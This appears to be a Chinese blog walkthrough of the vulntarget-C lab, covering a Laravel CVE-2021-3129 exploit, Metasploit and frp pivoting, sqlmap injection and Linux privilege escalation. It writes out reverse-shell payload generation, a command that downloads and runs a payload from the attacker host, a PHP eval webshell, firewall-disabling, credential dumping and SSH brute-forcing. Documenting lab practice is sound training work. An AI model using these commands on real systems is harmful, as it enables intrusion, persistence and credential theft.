vulntarget-c打靶复现

本文最后更新于:2023年8月18日 下午

vulntarget-C靶场复现

靶场相关信息

实验目标:拿取Ubuntu 16主机的Flag信息

学习目标:Laravel/OVAS-PHP漏洞/隧道代理/免杀/提权/CVE-2021-3129/CVE-2021-3493等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#攻击机
OS:Kali
NIC:192.168.172.129

#Ubuntu-Server
OS:Ubuntu 20
Server:Laravel 8.4.2
userpass:root/root#qwe
userpass:vulntarget/root
NIC1:192.168.172.110 -->nat模式,桥接不好使
NIC2:10.0.20.141 -->仅主机模式网卡

#Wins16-Server
OS:Windows server 2016
Server:OVAS-PHP CMS
userpass:administrator:Admin#123
NIC1:10.0.20.100 -->仅主机模式网卡
NIC2:10.0.10.139 -->仅主机模式网卡

#Ubuntu16-Server
OS:Ubuntu 16
userpass:vulntarget:Admin#123
NIC1:10.0.10.110

主机配置

Ubuntu20 配置

先用用户名和密码登录上去

修改/etc/netplan下的网络配置文件,将网络ip改成自己的网段ip

****备注:****Netplan —— 抽象网络配置生成器 ,是一个用于配置 Linux 网络的简单工具

生效

netplan apply

边界主机

信息收集

先nmap探测一下网段环境

1
nmap 192.168.172.1/24

已经探测出开放着22端口和80端口,猜测后续可以通过ssh连接,并且开启有http服务。进行进行信息搜集。

探测主机详细信息

1
nmap -sT -A -sV  192.168.172.110

访问一下80端口的http服务

Laravel框架,好,没见过,复现结束。。。😤

不小心看到了版本信息,连上82年的网找找漏洞。

Laravel v8.78.1 (PHP v7.4.3)

最新不过2021的,版本好像也不对啊,死马当活马医😫

Github尝试一下找工具

还真有,看一下readme如何食用😁

https://github.com/SNCKER/CVE-2021-3129

好家伙一个参数没有,估计是写死了,还得改代码,主要是还要另外整gcc估计难搞。

还得下个别的工具,不好使,换一个。

https://github.com/zhzyker/CVE-2021-3129

简单配置试一下

ok一步到胃!一会儿找找源码中id的执行位置,替换成反弹shell的命令。

先用美少妇(MSF)生成一个反向马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.172.129 LPORT=6666 -f elf -o 98.elf

在这个文件夹下用python开个http服务一会儿用工具让靶机下载马子。

1
python3 -m http.server 9090

访问一下,ok了。

老规矩MSF开启监听。

1
2
3
4
5
6
7
8
9
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.172.129
lhost => 192.168.172.129
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run

用咱们刚下载的工具找到命令执行的位置(找"id"),将其替换为如下语句:

1
cd /var/www/html/public&&wget http://192.168.172.129:9090/98.elf&&chmod 777 98.elf&&./98.elf

坑:需要先cd /var/www/html/public,不然命令执行位置不在下载木马的位置,无法反弹。

上线!😎😎😎

继续进行信息收集,先看看我是个什么东西。。。

啥也不是!提权!

方法一:

Msf内置后渗透模块

1
run post/multi/recon/local_exploit_suggester

报了一堆错误,玩不了……

方法二:

查看/home目录下用户有哪些。发现存在vulntarget用户尝试使用Hydra进行SSH爆破,获得密码root

1
hydra -l vulntarget -P passwd.txt 192.168.172.110 ssh

直接先登上去再说

1
ssh vulntarget@192.168.172.110

看哪些可以进行权限提升

python3?整!

查看/opt/root.py文件内容。运行脚本会在本地的1025-65535端口上开启一个socket接口且密码是mortals登录成功后根据选项给出响应的回显如果有错误的输入在异常处理处打印异常且调用pdb模块,同时进入到调式模块下在此模块中可导入OS模块来执行系统命令完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')

(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'mortals':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()

在第一个ssh链接上执行脚本文件,另外开启一个ssh链接监听脚本开启的端口并进行错误的输入。

1
2
3
4
5
6
7
SSH1:
sudo python3 /opt/root.py

SSH2:
nc localhost 26676 //这个端口是脚本开启的那个
mortals
a

然后执行以下命令:赋予 /bin/bash读写权限并执行。

1
os.system('chmod u+s /bin/bash&&bash -p')

root!斯巴拉西!👍👍👍

还有另外一种方法,这里把bin/bash复制到一个临时文件夹下,然后再给权限,执行,同样也可以提权。

然后再把这个root权限也上线MSF,道理和刚刚一样,我直接用之前的那个马子(当时没想太多,后来想想这端口一样冲突了呀。。。但是好像没啥印影响,后面也没管。。。)

这里面有个小flag

二层内网

边界主机算是拿下了,继续进行信息收集。

用MSF建立路由,让kali可以通过边界主机访问到内网的主机。

1
2
meterpreter>run post/multi/manage/autoroute  #添加路由
meterpreter>run autoroute -p #查看路由

报了一堆错,但是好像还是可以访问到的先不管了。

使用msf的端口扫描模块对内网网端10.0.20.0进行扫描

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
set rhost 10.0.20.0/24
set ports 21,22,80,135,139,445,8080
set threads 30
run

发现内网主机10.0.20.100开启80端口,在MSF上架设socks5代理服务器,并是Firefox通过代理访问该站点。

1
2
3
use auxiliary/server/socks_proxy
set srvport 1080
run

抓个包就断了!?

抓包抓错了,然后在抓发现代理直接断了(msf的代理模块太烂啦)这里直接用frp吧。

先配置一下frp的客户端和服务端配置文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
#frps.ini
bind_port = 7100


#frpc.ini
[common]
server_addr = 192.168.172.129 -->kali地址
server_port = 7100

[plugin_socks]
type = tcp
remote_port = 8971
plugin = socks5

服务端放在kali上运行,客户端通过上传木马的方式上传到目标主机。

1
2
wget http://192.168.172.129:9090/frpc.ini
wget http://192.168.172.129:9090/frpc

给权限什么的就不多说了。

先运行kali上的服务端文件,再运行边界主机上的客户端文件。

1
2
3
./frps -c frps.ini

./frpc -c frpc.ini

Frp yyds,访问嘎嘎快!!!(记得浏览器配置scoks5代理)

在右上角有Admin Login按钮点击可进入后台登录页面,在此可配置BP的SOCKS5代理进行抓包爆破。

按照以下抓包思路即可抓取是内网站点的HTTP数据包

1
2
3
4
5
6
7
8
9
#代理流程
Browser<--->BurpSuite<--->Socks Proxy Server<--->WebSite
#步骤设置
1.开启BurpSuite进入ProjectOptions选中SOCKS Proxy
2.勾选Override user options并且填写Use SOCKS proxy下的host与port为MSF开启的代理地址与端口
3.回到火狐浏览器设置BP代理为HTTP类型的127.0.0.1:8080与MSF的SOCKS5类型代理
4.先挂MSF的代理访问站点到用户登录界面要抓取的数据包,在挂BP的代理且在BP的Proxy模块开启监听
5.此时已经设置了浏览器的数据走BP,而BP抓到的数据走SOCKS5代理,抓取登陆请求的HTTP数据包...
注:此种方式也可隐藏自身IP地址...

利用用户名和密码登录到后台中去

该OVAS CMS后台存在SQL注入,在此后台页面点击Inquiries–>Action–>View使用BP抓取到数据包且保存到本地文件中

使用SQLMAP对其抓取的HTTP请求包进行SQL注入测试,发现存在SQL注入

1
proxychains4 python3 sqlmap -r insql.txt --batch

老套路

1
2
3
4
#判断是否为dba
sqlmap -r insql.txt --proxy=socks5://192.168.172.129:8971 --batch --is-dba
#获取交互式Shell
sqlmap -r insql.txt --proxy=socks5://192.168.172.129:8971 --os-shell

system权限,写入一句话木马进行权限维持。

1
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php

访问一下

好像是写入成功了。不确定再看看

配置一下蚁剑的代理

一开始木马地址没搞对,怎么都连不上,我直接把马子写进index页里,然后连。

OK起飞!

进去先把防火墙关了。

1
2
netsh advfirewall show allprofile state      //查看防火墙状态
netsh advfirewall set allprofile state off //关闭防火墙

整个正向马用蚁剑上传上去。

1
2
3
4
5
6
7
msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=8383 -f exe > insec.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8383
set rhost 10.0.20.100
Run

我去刚上传上去马子就没了?😡

得过Defander啊😱

不会过,夏波!🏃🏃

算了,再试试,找找Dender混淆的文章

一顿操作啥用没有,

莫名其妙(手动关墙)最后终于连上了。

接着信息收集。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#执行命令
systeminfo
ipconfig /all
load kiwi
creds_all ——> dfc8d2bfa540a0a6e2248a82322e654e Admin#123
run getgui -e
netstat -an | findstr 3389
tasklist /svc ——> MsMpEng.exe <=> Windows Defender

#收集信息
OS:Wins16
NIC110.0.20.100/24
NIC210.0.10.139/24
username:administraotr
password:Admin#123
RDP Port:3389

也算是拿下,添加路由信息并扫描10.0.10.0网段机器,发现10.0.10.110存活。

1
2
3
4
5
6
7
8
9
#添加路由信息
run post/multi/manage/autoroute
run autoroute -p //查看路由信息
#扫描内网存活主机
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.10.0/24
set ports 22,23,80,443,8080,445,3306,6378,113,114,81,8000
set threads 30
run

三层内网

使用以上抓取破解出的账户密码远程登录到内网Windows主机上

1
2
3
4
5
#代理配置
vim /etc/proxychains4.conf
socks5 127.0.0.1 8971
#桌面链接
proxychains4 rdesktop 10.0.20.100----》失败,连接出错

开3389端口

1
2
3
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netstat -ano | findstr "3389"

直接本地通过SocksCap64代理进行远程连接,成功连接到远程桌面

在下方看到MobaXterm打开后需要输入密码使用本机管理员密码登录成功,且存在一Linux主机为上面扫描出来的内网机器,点开后为vulntarget普通用户登录。

接下来需要提权有两种方法:

方法一:直接通过MobaXterm查看密码,点击上方的Settings按照流程进行点击,需要输入登录用户的密码即:Admin#123

成功获取到10.0.10.110中的用户vulntarget的密码为vuln@qwe,利用sudo进行提权

1
sudo su

方法二:根据Linux内核版本尝试提权,将提权项目下载至本地并编译好上传至Wins16在拖进LinuxShell中执行之后即可提权成功…获取Flag

1
2
uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

项目地址https://github.com/briskets/CVE-2021-3493

1
2
gcc exploit.c -o exploit
./exploit

结束。


vulntarget-c打靶复现
https://jsweetcoffee.github.io/posts/64d31b65.html
作者
SCxiaoyun
发布于
2023年7月28日
许可协议